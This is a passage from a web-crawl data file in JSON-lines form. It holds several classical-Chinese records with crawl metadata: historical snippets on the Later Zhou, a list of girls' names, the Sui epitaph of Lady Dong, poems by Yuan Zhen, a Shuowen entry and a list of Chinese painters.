擁其為帝 匡胤無奈 入開封 宗訓禪讓匡胤 周 亡 匡胤不殺宗訓 厚待之 封鄭王 賜誓書鐵券 保柴氏永享富貴\n- 周 五代之五也 郭威滅後漢 自立為帝 建號 周 都汴州開封府 史稱 後 周 以別於三代武王所建之 周 郭威崩 義子 世宗 立 北破漢 遼 南破蜀 唐 有今河南 山東 陜西 甘肅 湖北及河北之南 安徽之北 顯德七年 趙匡胤陳橋兵變 廢 周 恭帝而建趙宋 後 周 自太祖辛亥歲建國至恭帝庚申 凡三代三主十年 周 太祖 周 世宗\n- 資治通鑒者 編年史書也 宋司馬光所撰 卷二百九十 考異 目錄各三十卷 計三百萬言 以年月為目 上起 周 烈王二十三年 下迄 後 周 世宗 顯德六年 宋治平三年 光成 通誌 八卷 呈英宗御覽 時 通誌 止戰國秦朝事爾 英宗詔光設書局續修 後光雖宦海沉浮 書局則隨身而設 神宗踐祚 開經筵 光進讀 通誌 神宗以為\n- 鮮卑宇文泰子宇文覺廢西魏恭帝 自稱皇帝 建號周 史稱北周 一作後周 建都長安 今陝西省西安市 據有今陝西 甘肅 寧夏及四川一部 五七七年 周滅北齊 至周靜帝為隋文帝所代 共歷五帝二十五年 追謚周太祖文皇帝泰 周孝閔皇帝覺 周世宗明皇帝毓 孝閔庶兄 周 高祖武皇帝邕 世宗 弟 周 宣皇帝 高祖子 周 靜皇帝 宣帝子 周 書\n- 後 周 太祖 郭姓 諱威 堯山人也 本常氏子 幼隨母適郭氏 故冒其姓 少賤 黔頸為飛雀 世目為郭雀兒 仕後漢為鄴都留守 弒殺隱帝 遂出禦契丹 至澶州自立而還 悉出漢宮中寶玉器碎之 帝如曲阜 謁孔子祠 拜其墓 左右曰 孔子陪臣也 不當以天子拜之 帝曰 孔子百世帝王之師 敢不敬乎 太祖在位三年崩 廟號太祖 諡曰聖神恭肅文武孝皇帝 葬嵩陵\n- 乾祐元年 投郭威門下 時年十九 會 周 祖以樞密使征李守真 應募居帳下 三年威稱帝 是 周 太祖 改元廣順 補東西班行首 拜滑州副指揮 顯德元年 周 太祖崩 世宗 尹京 轉開封府馬直軍使 世宗 即位 復典禁兵 北漢來寇 世宗 率師禦之 戰於高平 將合 指揮樊愛能等先遁 軍危 太祖麾同列\n- 訓民正音 始諺文之書也 朝鮮 世宗 所制 朝鮮本無文字 遂假漢字紀事 然其國之音 異乎中國 漢文之法 去其言遠 文盲遂多 世宗 不忍 乃親制朝鮮文字 正統八年 書成 曰 訓民正音 十一年九月上澣作解例 後 佚 公元一九四零年 復見於慶尚北道安東郡臥龍面 周 下洞 今韓國奉為國寶七十號\n- 之 改立敬帝方智 尋篡梁自立 齊又立元帝孫莊於郢州 周 興 詧請 周 擊之 遂奔齊而終 梁在江陵 僅得數縣 事 周 隋甚恭 周 隋亦以置總管護之 承建康餘緒 文物亦可觀 隋將伐陳 召 後 主琮入朝 廢為莒國公 梁亡 自武帝至元帝凡六代 五十六年 自孝宣帝至 後 主凡三代 三十四年 合八代八十六年 大業十三年 安平\n- 唐武宗 唐宣宗 唐懿宗 唐僖宗 唐昭宗 唐哀皇帝 後 唐諡昭宣光烈孝皇帝 禪讓朱全忠 唐亡 梁太祖 梁郢王友珪 梁末帝 唐亡梁 唐莊宗 唐明宗 唐閔皇帝 唐廢帝 晉亡唐 晉高祖 晉出帝 契丹亡晉 漢代領中原 漢高祖 漢隱皇帝 為 周 所篡 周 太祖 周 世宗 周 恭皇帝 為宋所篡 宋太祖 宋太宗 宋真宗 宋仁宗\n- 內減租稅 三十稅一 史上罕聞 民安樂富足 國庫充盈 下開武帝極盛之世 史稱文景之治 後 元三年崩 葬陽陵 太子徹嗣立 父 漢太宗孝文皇帝 恆 母 漢孝文竇皇后 妻 漢孝景薄皇后 妻 漢孝景王皇后 子 漢 世宗 孝武皇帝 徹 女 漢平陽公主 女 漢南宮公主 女 漢林慮公主 妻 栗姬 子 漢臨江閔王 榮\n- 後 主加昭孝太弟 詔葬江州廬山 唐 周 戰於滁州 唐求和不成 遂使景達將兵六萬 直指揚州 戰趙匡胤於六合 李重進圍壽州 唐遣朱元 邊鎬 許文緽等援壽州 周 世宗 引水軍 入淮至壽州 景達領水軍五萬赴壽州與監軍陳覺 會景達遇王環 環者 周 水師統領也 環敗元 鎬 文緽於紫金山 唐兵遂退","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/google-cn.info\/65601\/1\/%E5%BE%8C%E5%91%A8%E4%B8%96%E5%AE%97.html","date":"2021-12-08T22:39:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363598.57\/warc\/CC-MAIN-20211208205849-20211208235849-00503.warc.gz","language":"lzh","language_score":0.7181304693,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7181304693222046, \"cmn_Hani_score\": 0.17471210658550262, \"nan_Hani_score\": 0.09683384001255035}","num_words":388,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.82,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字僅為在你起名時提供參考,請勿在未做分析的前提下直接使用。\n嚴文婭 嚴興梅 嚴章文 嚴溢琳 嚴玲華 嚴亞芳 嚴佳妍 嚴雅紅 嚴雅麗 嚴婧今 嚴佳嫣 嚴為萍 嚴秀穎 嚴四琳 嚴祥紅 嚴紫茹 嚴紫妍 嚴瓊娟 嚴秀萍 嚴昕怡 嚴君茹 嚴鈺琳 嚴興文 嚴花芳 嚴童琳 嚴業玲 嚴悠文 嚴壬瑩 嚴小茹 嚴肖悅 嚴美媛 嚴夢萍 嚴君萍 嚴潔美 嚴雪紅 嚴馨雪 嚴如花 嚴佩霞 嚴荷茹 嚴秭文 嚴怡諾 嚴瑞雪 嚴怡雪 嚴怡詠 嚴泳怡 嚴泳雪 嚴鶴文 嚴古玲 嚴土英 嚴詩玉 嚴婧爾 嚴丹文 嚴由文 嚴由雪 嚴凌燕 嚴永梅 嚴來琴 嚴來紅 嚴若妍 嚴藝瓊 嚴沛文 嚴琳紗 嚴茹娟 嚴奇文 嚴文琳 嚴易紅 嚴裕琴 嚴歡嬋 嚴進玲 嚴玲瓏 嚴玲棱 嚴一玲 嚴萍波 嚴成芳 嚴少琳 嚴迪婭 嚴澤芳 嚴肖潔 嚴肖琳 嚴紫麗 嚴若潔 嚴任霞 嚴若瓊 嚴海玉 嚴水花 嚴靜琳 嚴巧琳 嚴凌琳 嚴靈琳 嚴哲玲 嚴哲琳 嚴澤玲 嚴澤琳 嚴韻琳 嚴筱琳 嚴姿琳 嚴梓琳 嚴聆玉 嚴姘婷 嚴茹茹 嚴伊莉 嚴園梅 嚴元梅 嚴細紅 嚴建娥 嚴希文 嚴青文 嚴晗雪 嚴晗燕 嚴慧瑩 嚴琴燕 嚴發文 嚴浜文 嚴芹燕 嚴十文 嚴銀花 嚴帥文 嚴兒文 嚴貝文 嚴百文 嚴世文 嚴舒文 嚴怡凡 嚴修文 嚴洪霞 嚴桂妹 嚴鐵英 嚴小穎 嚴辛媛 嚴欣媛 嚴新媛 嚴心媛 嚴婉媛 嚴萬媛 嚴語琳 嚴琪文 嚴琦雪 嚴寶娟 嚴立芬 嚴譽艷 嚴慧怡 嚴筱紅 嚴秋芳 嚴鈺霞 嚴祺雪 嚴妮萍 嚴健芳 嚴健芬 嚴辰雪 嚴琳菲 嚴艾瓊 嚴愛瓊 嚴潔紅 嚴苗英 嚴妍語 嚴玲芬 嚴小芬 嚴保瓊 嚴熙媛 嚴芷玲 嚴偉文 嚴麗蓉 嚴絲雪 嚴厚文 嚴嬋芳 嚴德芬 嚴莉華 嚴莉平 嚴茹鈺 嚴鋼英 嚴靜穎 嚴洪嬋 嚴潔瑩 嚴雪穎 嚴雅萍 嚴滟花 嚴滟霞 嚴茹纓 嚴若玉 嚴茹于 嚴國萍 嚴媛非 嚴婷非 嚴茹非 嚴玉燕 嚴歆秀 嚴春瑛 嚴嘉悅 嚴柏英 嚴妍娜 嚴霞露 嚴斐琳 嚴夢琳 嚴沛媛 嚴沛潔 嚴勤莉 嚴語嫣 嚴冰雪 嚴吖雪 嚴微雪 嚴如瑩 嚴玲肖 嚴邦玉 嚴素芬 嚴琳雅 嚴帆雪 嚴韋茹 嚴卉媛 嚴云芬 嚴立娟 嚴季媛 嚴維艷 嚴玉瑛 嚴月霞 嚴月娟 嚴千婷 嚴詩媛 嚴春玲 嚴姝倩 嚴朱倩 嚴珠倩 嚴婭真 嚴婭丹 嚴幸婷 嚴秀莉 嚴玎莉 嚴尹莉 嚴粉琴 嚴敏娜 嚴勝紅 嚴巨英 嚴穗娟 嚴四妹 嚴嬋君 嚴英文 嚴若冉 嚴兢英 嚴好玲 嚴媚婷 嚴程霞 嚴雯娜 嚴瑩瀅 嚴佳艷 嚴瀅文 嚴亭玉 嚴蘭美 嚴浩紅 嚴潔玲 嚴瀟文 嚴雪瓊 嚴蘭英 嚴婷琦 嚴國霞 嚴娥 嚴穎瑩 嚴華潔 嚴華文 嚴書英 嚴晴文 嚴琪琳 嚴華玉 嚴婧菡 嚴潤潔 嚴鴻瑛 嚴雋玲 嚴婷博 嚴學英 嚴芮婷 嚴悅維 嚴偉英 嚴方梅 嚴芳梅 嚴方美 嚴芳美 嚴雪花 嚴雪潔 嚴新瓊 嚴涵怡 嚴彩芳 嚴漢英 嚴夢瑤 嚴利娜 嚴莉雯 嚴春娥 嚴肖麗 嚴肖莉 嚴崇倩 嚴婧源 嚴谷芳 嚴緋瑤 嚴菲瑤 嚴霏瑤 嚴彗美 嚴茶芬 嚴佳梅 嚴龍紅 嚴翎文 嚴燕泥 嚴亞文 嚴之怡","id":"","dump":"CC-MAIN-2022-21","url":"http:\/\/www.yizhuanche.cn\/show_AQ1.aspx","date":"2022-05-26T11:09:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662604794.68\/warc\/CC-MAIN-20220526100301-20220526130301-00015.warc.gz","language":"lzh","language_score":0.734449327,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7344493269920349, \"yue_Hani_score\": 0.2593187093734741}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.734,"perplexity_score":500.0,"cluster_detection":1} +{"text":"全称《美人董氏墓志铭》。隋开皇十七年刻,清嘉庆道光年间在陕西西安出土。撰文者为蜀王杨秀,隋文帝第三子,董美人为其爱妃,病逝时年方十九,杨秀撰文以表哀悼,此墓志书法上承北魏书体,下开唐朝新风,布局平正疏朗,字体端严妍美,骨秀肌丰。\n美人董氏墓誌銘:美人姓董 汴州恤宜縣人也 祖佛子 齊涼州刺史 敦仁愽洽 標譽鄉間 父後進 俶儻英雄 聲馳河渷 美人體質閑華 天情婉嫕 恭以接上 順以乘親 含華吐艷竜章鳳采 砌炳瑾瑜 庭芳蘭蕙 既而來儀魯殿 出事梁臺 搖環珮於芳林 袨綺繢於春景 投壺工鶴飛之巧 彈棊窮巾角之妙 妖容傾國 冶咲千金 妝映池蓮 鏡澄窓月 態轉迴眸之艷香飄曳裾之風 颯灑委迤 吹花迴雪 以開皇十七年二月感疾 至七月十四日戊子終于仁夀宮山 苐春秋一十有九 農皇上藥 竟無救於秦醫 老君靈醮 徒有望於山士怨此瑤華 忽焉彫悴傷茲桂蘂 摧芳上年 以其年十月十二日葬於龍首原 寂荒隴隴 幽夜茫茫 埋故愛於重泉 沉餘嬌於玄*(土遂) 惟鐙設而神見空想文成之術 弦管奏而泉濆 彌念姑舒之魂 觸感興悲 乃為銘曰 高唐獨絕 陽臺可憐 花耀芳囿 霞綺遙天 波驚洛浦 芝茂瓊田 嗟乎頺日 還隨湲川 比翼孤栖 同心隻寢 風捲愁慔 氷寒淚枕 悠悠長暝 杳杳無春 落鬟摧櫬 故黛凝塵 昔新悲故 今故悲新 餘心留想 有念無人 去歲花臺 臨歡陪踐 今茲秋夜 思人潛泫 *(辶子)神真宅歸骨雲房 依依泉路 蕭蕭白楊 孤墳山靜 松疏 月涼 *(土上匧下心)茲玉匣 傳此餘芳 惟開皇十七年歲次丁卯十月甲辰朔十二日乙卯上柱國益州摠管屬王製","id":"","dump":"CC-MAIN-2022-27","url":"http:\/\/www.zgshdb.com\/zaixianjiaoxue\/beitie\/2018\/1125\/260.html","date":"2022-07-06T06:20:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104668059.88\/warc\/CC-MAIN-20220706060502-20220706090502-00340.warc.gz","language":"lzh","language_score":0.4756424725,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.47564247250556946, \"cmn_Hani_score\": 0.3510325849056244, \"nan_Hani_score\": 0.11872538924217224, \"yue_Hani_score\": 0.02239937335252762, \"wuu_Hani_score\": 0.01734350249171257, \"jpn_Jpan_score\": 0.014322534203529358}","num_words":82,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.574,"perplexity_score":500.0,"cluster_detection":1} +{"text":"元稹\n遣悲懷三首之一\n謝公最小偏憐女,自嫁黔婁百事乖。顧我無衣搜藎篋,泥他沽酒拔金釵。野蔬充膳甘長藿,落葉添薪仰古槐。今日俸錢過十萬,與君營奠復營齋。\n遣悲懷三首之二\n昔日戲言身后事,今朝都到眼前來。衣裳已施行看盡,針線猶存未忍開。尚想舊情憐婢仆,也曾因夢送錢財。誠知此恨人人有,貧賤夫妻百事哀。\n遣悲懷三首之三\n閑坐悲君亦自悲,百年都是幾多時?鄧攸無子尋知命,潘岳悼亡猶費詞。同穴窅冥何所望,他生緣會更難期。惟將終夜長開眼,報答平生未展眉。\n行宮\n寥落古行宮,宮花寂寞紅。白頭宮女在,閑坐說玄宗。","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.classical-literature.com\/%E5%85%83%E7%A8%B9\/","date":"2022-12-08T20:27:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711360.27\/warc\/CC-MAIN-20221208183130-20221208213130-00263.warc.gz","language":"lzh","language_score":0.4711323082,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.4711323082447052, \"cmn_Hani_score\": 0.383723646402359, \"wuu_Hani_score\": 0.05659632757306099, \"nan_Hani_score\": 0.038483794778585434, \"yue_Hani_score\": 0.03311527520418167, \"jpn_Jpan_score\": 0.012624865397810936}","num_words":9,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.571,"perplexity_score":500.0,"cluster_detection":1} +{"text":"禮器注引王居明堂禮曰。仲秋乃命國醵。葢醵餔略同也。漢文帝紀。餔五日。文穎曰。音步。漢律。三人以上無故飲酒。罰金四兩。今詔横賜得令會聚飲食五日也。伏䖍音蒲。按周禮族師祭酺注。酺者、爲人物災害之神。別一義。\n薄乎切。五部。","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.shuowen.org\/view\/9798","date":"2024-04-14T01:57:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816863.40\/warc\/CC-MAIN-20240414002233-20240414032233-00336.warc.gz","language":"lzh","language_score":0.5252475739,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5252475738525391, \"cmn_Hani_score\": 0.36371558904647827, \"jpn_Jpan_score\": 0.05437639355659485, \"yue_Hani_score\": 0.03180921450257301, \"wuu_Hani_score\": 0.02165254019200802}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.193,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.525,"perplexity_score":500.0,"cluster_detection":1} +{"text":"可选中1个或多个下面的关键词,搜索相关资料。也可直接点\"搜索资料\"搜索整个问题。\n艾欣 艾忆 唵道人 安庆臻 安鸿翔 安处 阿老 安泉岭 阿尔稗 安东 安世凤 安璿 安佑十 艾墨石 安用三 安之 艾德 阿克敦 安林 阿克敦布 菴仪 阿达 安德义 阿龙 敖佩芬 安甫 阿步伊 艾红旭 毕建勋 边舒才 毕利君 包世学 包世臣 白伯骅 卞国强 白西安 卜考怀 半痴 毕涵 白印道人 冰石 边平山 包锦华 边骧 毕晋吉 卜绍基 白崇然 鲍夫华 白恒润 包栋 伯生 秉恬 卞文瑜 鲍韫 布衣山人 白雪石 白澄 白国文 白云浩 白铭 白蕉 比丘照果 鲍心荃 鲍少游 柏雪邨 半闲居士 白丁 邴锋 八大山人 白德松 包洪波 白显林 包辰初 鲍俊 白描 宝峰 包文萃 边景昭 鲍燮 鲍台元 秘修斌 白庚延 白云乡 白海 薄云 鲍加 半舫 白阳山人 鲍楷 葆益 鲍振镛 毕琛 白光 陈玉圃 陈仕彬 陈秋草 崔自默 陈一耕 陈荫夫 陈佩秋 陈洪军 蔡智 崔如琢 陈家泠 迟平 陈学建 陈师曾 陈辉 程阳阳 常树森 陈润则 陈作丁 陈老铁 陈求之 陈湘波 陈金章 陈国胜 蔡天雄 陈孝能 陈忠志 曹明冉 陈保棣 曹无 楚承明 蔡超 陈舜今 陈天 蔡公衡 车鹏飞 陈履生 陈志武 陈金言 陈亚莲 程十发 陈半丁 陈增胜 陈九 陈慧敏 陈钰铭 陈葆棣 陈永锵 陈琪 陈无忌 程大利 曹建华 陈白一 陈平 陈九林 曹明求 陈玉先 岑文涛 陈幼华 晁海 陈新华 蔡玉水 陈如冬 陈衍宁 陈俊宇 蔡广斌 董小明 董欣宾 董正顺 段铁 大禅 杜平让 丁聪 董萍实 杜应强 董兆惠 戴公复 邓由怀 段拭 董寿平 丁衍庸 董文政 邓敬民 邓晓岗 大土三阳 丁吉甫 杜高杰 邓维东 杜跃华 德堃 丁慕冰 丁聪伟 杜世禄 邓林 丁杰 戴卫 丁原禄 丁雄泉 董良达 杜曼华 段七丁 端木梦锡 邓白 董棨 董邦达 杜海涛 董本义 丁筱芳 雕筠新 大我 戴都都 丁宁原 杜希贤 丁浩 段炼 杜杰 董婉贞 戴林 担当 杜滋龄 戴顺智 董竟成 窦申清 董希源 丁中一 戴敦邦 丁云青 戴熙 邓启昌 董芝一 邓先仙 恩棣 萼仙 傅二石 范扬 方国兴 樊洲 冯今松 樊熙 房鸿勋 范治斌 冯石甫 法乃光 方向 方楚乔 樊少云 樊鸿宾 方凤富 傅抱石 冯远 樊云 樊运琪 范昌乾 范少华 冯金伯 范阳 范存刚 冯健辛 冯兆平 樊伯炎 冯斌 冯骥才 方楚雄 方增先 范国荣 方从义 费砚 方土 冯超然 范兴发 冯梅 富华 范玑 方世聪 范曾 冯大中 冯运榆 傅周海 方薰 樊波 冯忠莲 傅小石 方成 傅以新 方天园 方婉仪 冯长江 冯一鸣 傅又新 方之南 范淼 方召麟 冯墨石 傅耕野 傅益瑶 方菁 樊楠 范晓文 方竹楼 郭正英 顾颖之 龚文桢 高继兴 广军 郭丰 郭世清 龚学渊 高相国 龚光万 高其佩 顾生岳 关友声 郭宝君 郭西元 高云 高景林 郜宗远 郭方颐 高翔 高卉民 高照 郭兴华 高野侯 顾复初 耿玉琨 高德星 郭关 关山月 高晓笛 关明 郭华 郭味蕖 顾震岩 龚定平 高剑父 高时丰 顾麟士 管平湖 郭怡孮 高燕翎 郭公达 龚岚 高茜 郭克 高晔 高阆仙 龚艺岚 高垲 高译 甘长霖 龚继先 高冠华 郭茜 郭轶丹 顾群 关怡 郭慕熙 郭志光 高荣贵 顾文华 高马得 顾伯达 顾沄 顾迎庆 黄胄 黄符生 胡宝利 寒夫 何枫 黄公望 黄君实 洪瑞麟 胡忠 王淮 何强华 贺昆 洪植煌 何香凝 郝爱民 韩硕 胡永凯 黄唯理 胡明德 黄格胜 黄羲 韩羽 何加林 何煜 胡藻斌 胡筠 华嵒 黄纯尧 黄养辉 黄苗子 何海霞 黄建南 何家英 韩天眷 黄一瀚 何维娜 何首巫 洪惠镇 侯国良 瀚天笠 侯北人 郝邦义 洪波 黄君璧 韩敬伟 黄永玉 韩伍 霍春阳 何镜涵 洪范 胡洁青 胡石严 何大桥 胡正伟 黄宾虹 何劲松 郝凤先 黄少华 韩美林 黄永厚 郝石林 杭世骏 侯有墨 韩璐 侯幼珍 季大纯 贾广健 贾云娣 姜国华 蒋采苹 贾又福 金捷中 蒋昌忠 姜光明 江文湛 姜澄清 江立峰 蒋廷锡 江宏伟 姜宝林 姬国强 贾博鸿 金兆韬 姜坤 贾慧生 几谷 纪连彬 姜建林 蒋世国 金雪尘 金开藩 季观之 籍忠亮 蒋志鑫 吉人 蒋山青 江溶 金心明 金城 贾宝珉 姜寿民 焦志广 蒋采萍 金寿石 姜锐 金士焯 姜鸿 姜怡翔 姬进春 蒋风白 江郁之 金默如 江碧波 姜竹青 纪京宁 靳卫红 蒋朔 金阳 姜振国 姜永杰 蒋美艳 贾浩义 焦可群 敬庭尧 焦永峰 江寒汀 蒋德舜 金连经 静岩 蒋冠东 孔仲起 柯良 康殷 髡残 孔云 康易 康世尧 柯劭忞 孔尧 孔昭仑 孔毓圻 孔六庆 康同璧 康宁 孔维克 亢佐田 康生 寇振江 孔莲乡 蒯烺 柯定盦 孔晓峰 孔成新 匡仲英 寇元勋 孔仲华 昆仑子 况维琦 孔继昭 康耀仁 邝小津 康永杰 奎章 孔端甫 孔广德 康云海 康涛 寇子皓 亢愘门 康师尧 寇月朋 孔小瑜 柯九思 孔迈 孔祥伦 柯治 孔寿彭 孔灵 柯艇 柯大林 况又韩 孔宪文 康庄 康宁 孔子瑜 孔戈野 康石舟 孔传鋕 孔素英 匡怀瑾 孔宪彭 康泽祥 孔伯容 柯国强 柯一颿 刘曦林 柳学智 李江航 李孝萱 李老十 刘宝纯 李振军 李正天 路中汉 李海涛 刘知白 李宝林 李翔 刘永杰 李阳 林散之 刘斯奋 罗昌明 李乃宙 刘国辉 刘大明 李冬 李晨 刘中 李人毅 李兴邦 来支钢 李强 刘勃舒 梁长胜 刘伯骏 刘艺东 刘思东 李广平 励国仪(古仪) 刘牧 梁好 刘福芳 卢志学 李耀林 刘国 刘进安 李斌 李云集 刘宗友 林再圆 路怀中 李洪峰 李可染 李毅 刘济荣 李刚 楼志豪 李焕民 李伟 林风眠 梁岩 林成翰 赖少其 李国英 李味辛 李迎 陆俨少 林民恩 刘云 满维起 穆小玫 马欣乐 马书林 梅清 马嬿泠 梅启林 马蓬 牧溪 马昂 缪爱莉 马元驭 马楚华 马承祥 穆家善 苗墨 莫晓松 糜耕云 马建军 马德升 马晋 马骀 马筠 马兆群 马负图 毛健全 梅墨生 马锋辉 墨客 马海方 缪嘉蕙 马学鹏 马起瓯 马公愚 莫是龙 马骝 木心 马根仙 马树茂 马泉艺 牟成 妙虚 苗再新 马永强 慕凌飞 梅振瀛 马进 米万钟 梦玉 马荃 马瑞图 孟占京 苗重安 马振声 孟祥顺 马家桐 缪侃 米文杰 缪谷瑛 米谷 马守真 马天骐 梅兰芳 马瑞 莫雨根 牛维平 尼玛泽仁 牛玉生 南恽笙 倪田 倪元璐 南海岩 聂鸥 钮枢 南溪 倪鸣时 衲子 牛忠元 欧阳修 欧豪年 潘裕钰 潘玉良 溥儒 蒲华 庞元济 潘思牧 卜兆颐 庞泰嵩 潘缨 彭先诚 溥佺 潘冷残 潘振镛 彭友善 庞薰琹 溥佐 溥僴 浦文璿 潘岚 潘公凯 彭玉麟 潘絜兹 潘恭寿 卜宪忠 潘润 潘天寿 溥伒 彭旸 潘素 潘鸿海 彭进 钱松嵒 秦嗣德 钱慧安 祁恩进 祁豸佳 钱行健 仇德树 仇英 钱杜 仇琛 钱庚 秦书玉 仇炳台 钱绍武 瞿谷量 钱维城 齐世昌 齐良迟 钱泳 乔木 祁大夔 钱化佛 仇珠 仇启云 钱贡 仇智 乔宜男 乔领 宁雪君 钱岳 钱瘦铁 钱沣 秦仲文 乔宜男 祁昆 秦祖永 瞿中溶 仇埙 钱载 裘缉木 邱汉桥 祁海峰 乾隆 秦仲文 钱君陶 秦子仪 丘金峰 启功 瞿应绍 仇远 仇藐 屈兆麟 仇氏 钱来忠 齐白石 秦艾 曲健雄 钱维乔 秦风 区丽庄 钱谷 钱楷 瞿兑之 仇锦 阙岚 钱小纯 饶宗颐 任建业 茹鸿 饶珈 任伯年 任惠中 任预 阮元 任重 任薰 任堇 任立凡 阮荣春 任率英 阮数峰 任金声 任继民 任熊 容铁 任景钦 孙奇峰 孙玉敏 苏小松 孙志钧 申少君 石朴 施大畏 石齐 孙骥 沈勤 沈全 宋徽宗 宋涤 邵戈 沈明权 沈学仁 史国良 苏圣普 邵飞 石涛 宋亚亭 石建国 余承尧 沈荣 石劲松 宋吟可 申红飙 舒建新 僧璨 苏柏斗 孙蒋涛 宋杰 宋雨桂 苏海青 沈柔坚 申石伽 顺治皇帝 沈伟 宋唯原 宋玉麟 孙天牧 师恩钊 沈鹏 孙怡玫 宋玉明 石虎 孙克纲 单柏钦 沈颢 苏六朋 孙温 孙悟音 宋新江 施江城 史文集 石鲁 石丰 宋开强 沈道鸿 孙雪泥 单燕 孙洪彬 沈宁 尚涛 孙瑛 唐辉 童乃寿 田黎明 田世光 唐岱 陶一清 汤禄名 陶方琦 汤延 田嬴 陶跃 田希丰 唐勇力 陶冷月 田云鹏 田步蟾 汤涤 唐俊 陶鼎 唐海文 陶焘 唐承华 汤文选 汤立 唐云 田镛 唐健钧 铁保 汤贻汾 唐苂 唐楷之 唐英 童雪鸿 唐立坤 童中焘 田雨霖 同治皇帝 汤世树 童恺 唐酬 童衡 谭晓世 童大年 汤怡 田亚民 唐吟方 田夫 唐书安 唐寅 谭昌镕 唐嵒 陶洙 唐玉润 屠倬 唐子农 王敬恒 吴青霞 吴元奎 王静芳 王保安 吴子英 吴冠中 王盛烈 王菊生 王子和 王玉珏 武艺 王石岑 吴作人 王超 王天胜 王子武 王一明 王伟中 王义胜 吴昌硕 吴厚信 王申勇 王田田 王少卿 王桂群 王霄 王成喜 吴为山 王迎春 王颖生 王玉 汪良 吴休 吴一峯 王璜生 王明明 王川 王石帆 王珊 吴山明 韦佳 王西京 王文杰 王永亮 王根生 王崇学 王其钧 王为政 汪国新 王喆希 王竞艺 王兴华 吴湖帆 王树村 王浩杰 吴团良 吴雍 吴进良 王来文 吴惠良 吴欢 吴永良王绿霞 汪壮 吴毅 王亚 萧晖荣 性坡 徐培晨 夏亮熹 徐国雄 谢锦华 夏柏森 熊红钢 萧云从 徐操 徐正华 熊钢如 咸丰皇帝 徐希 谢永增 徐累 邢庆仁 徐鸣 谢云生 浔陌 萧瀚 萧俊贤 许乃榖 许石丹 徐本全 萧愻 薛宣林 谢志高 徐悲鸿 徐右冰 夏葆元 许钦松 谢砚 刑庆仁 谢玉岑 薛素素 肖红 萧淑芳 萧琼 萧和 薛贵良 徐家珏 许仁龙 薛林兴 薛亮 谢呈祥 邢健健 谢时臣 徐怀玉 谢稚柳 徐竹贤 谢晋 夏天星 萧平 许固令 许麟庐 徐健 许勇 许全群 项圣谟 邢一峰 徐康林 徐恩家 谢淼 谢瑞阶 尤无曲 俞明 叶烂 杨丰玮 姚治华 于非闇 杨彦 袁熙坤 叶健 杨天颐 颜宝臻 杨诘苍 姚媛 杨延文 易元和 于志学 杨铭仪 伊慧 延佳黎 杨阳 杨东平 叶浅予 叶建新 余立新 永瑆 颜伯龙 喻继高 杨季 杨远威 羊草 袁波 袁运甫 杨善深 姚龙顺 阳太阳 闫新生 乐泉 袁军 严克勤 阳光 叶经天 杨阳 尹沧海 袁新霆 杨明义 应天齐 喻慧 尹石 杨缨 应野平 彦涵 杨澥 晏明 姚钟华 杨晓阳 姚迪雄 阎巍 余涵宇 也墨 易峰 杨之光 杨正新 于小冬 游桂光 杨天壁 赵振川 郑克明 曾宓 郑山麓 张江舟 张志永 朱凡 张复兴 周逢俊 邹传安 钟章法 赵俊生 张跃华 郑力(宁波) 张谧诠 周京新 赵绪成 郑乃珖 郑百重 张葆桂 张晋 张仃 邹建平 张孝友 张杲 张大千 周俊 赵红尘 朱道平 周晚峰 朱新建 张雷平 朱屺瞻 周之林 周亚鸣 郑强 张世刚 赵建成 赵准旺 卓然 张静伯 周尊城 赵梅生 邹建源 张廷禄 张峻德 张培成 张立辰 张培武 赵占东 张其凤 周尊圣 张之光 朱理存 张桂铭 张立柱 祝林恩 周荣生 张德刚 张西 周韶华 张仁芝 卓民 朱宣咸 赵志田\n丁兴才 丁捍东 于明泉 于太昌 于春建 于春桂 于振才 于建波 于书亭 于胜涛 于占德 马 明 马 博 马建钧 马英庆 巴忠鼎 尹日泰 牛盛海 乌 峰 韦忠泰 王 军 王众音 王颜山 王义诚 王志远 王行宏 王建强 王树春 王清元 王其耀 王运昆 王光胜 王世祥 王庆德 王法颜 王伯昌 王建平 王树先 王步强 王长水 王锡庆 宁兰智 田庆山 龙 岩 龙敦聚 叶崧光 刘 峥 刘 杰 刘 光 刘 霖 刘文海 刘建峰 刘述伶 刘铭伟 刘崇文 刘德璞 刘玉鼎 刘克文 刘显超 刘鸿田 刘繁昌 刘锡山 刘聿鑫 刘世奎 刘家相 刘大海 刘舫溪 刘晓刚 刘永强 刘文泉 刘锡铜 刘恒章 刘庆平 刘大明 刘承闿 刘志耘 关天相 安廷山 纪 君 曲 彬 吕金光 吕文厚 吕建德 齐爱君 孙 治 孙振民 孙有勋 